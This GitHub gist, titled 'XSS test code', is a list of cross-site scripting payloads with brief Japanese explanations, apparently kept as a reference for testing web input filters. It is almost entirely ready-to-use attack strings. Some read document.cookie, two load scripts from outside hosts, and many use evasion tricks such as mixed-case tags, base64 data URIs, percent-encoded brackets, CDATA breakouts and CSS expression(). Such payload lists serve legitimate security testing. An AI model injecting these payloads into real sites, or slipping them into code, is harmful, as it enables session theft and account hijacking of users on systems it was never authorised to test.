Skip to content

Instantly share code, notes, and snippets.

@yano3nora
Last active August 28, 2022 06:39
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save yano3nora/000f84d4a31d60efc8f97cbc231d9270 to your computer and use it in GitHub Desktop.
Save yano3nora/000f84d4a31d60efc8f97cbc231d9270 to your computer and use it in GitHub Desktop.
[js: XSS] XSS test code. #js

'';!--"<XSS>=&{()}``\" テスト文字列。まずはこの文字列を突っ込む。

<script>alert(1);</script> 単純なパターン

"><script>alert(1);</script> 単純なパターン2

<script src=http://nootropic.me/xss.js></script> ダブルクォートやシングルクォートが使えない際

<ScrIpt>alert(1);</SCript> 単純にscriptタグが禁止されている際に使用出来る。他のタグでも使うことが出来る。

<a onmouseover="alert(document.cookie)">XSS</a> <a onmouseover=alert(document.cookie)>XSS</a> aタグを使用したXSS。

<<script>alert("XSS");//<</script>

<iframe src="javascript:alert('XSS');"></iframe>

<iframe src=# onmouseover="alert(document.cookie)"></iframe>

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<script src="http://ha.ckers.org/xss.jpg"></script> Javascriptの拡張子を画像に変えて動かしてる。

<img src="http://www.example.co.jp/>"onerror="alert(document.cookie)//<"> タグのフィルターが甘い場合に実行。

<![CDATA["><script>alert("XSS")</script><!--]]> CDATAを使用したXSS。

"><script</* */alert(1);/* */</script><!-- それぞれ別のフォームに入力。文字数制限があっても結果的にalertが発動する。

%EF%BC%9Cscript%EF%BC%9Ealert(123)%EF%BC%9C/script%EF%BC%9E パーセントエンコーディング。

";alert(document.domain)// scriptタグ内にユーザが書き込める時に使える。

<SELECT NAME="" onmouseover=alert(123)></select> selectタグを使ったXSS。

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe> base64を使った手法。

<style><img src='</style><img src=x onerror=alert("XSS")//'>

<svg><style><img/src=x onerror=alert(1)// </b>

"><svg><script>alert&#40/1/.source&#41</script>

data:text/html,<script>alert(0)</script>

<div style="left:expression(alert('xss'))">

<div style="left:expRessioN(alert('xss'))"> rとnの代わりにUnicode文字列を用いている。単純なexpressionフィルタを回避する。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment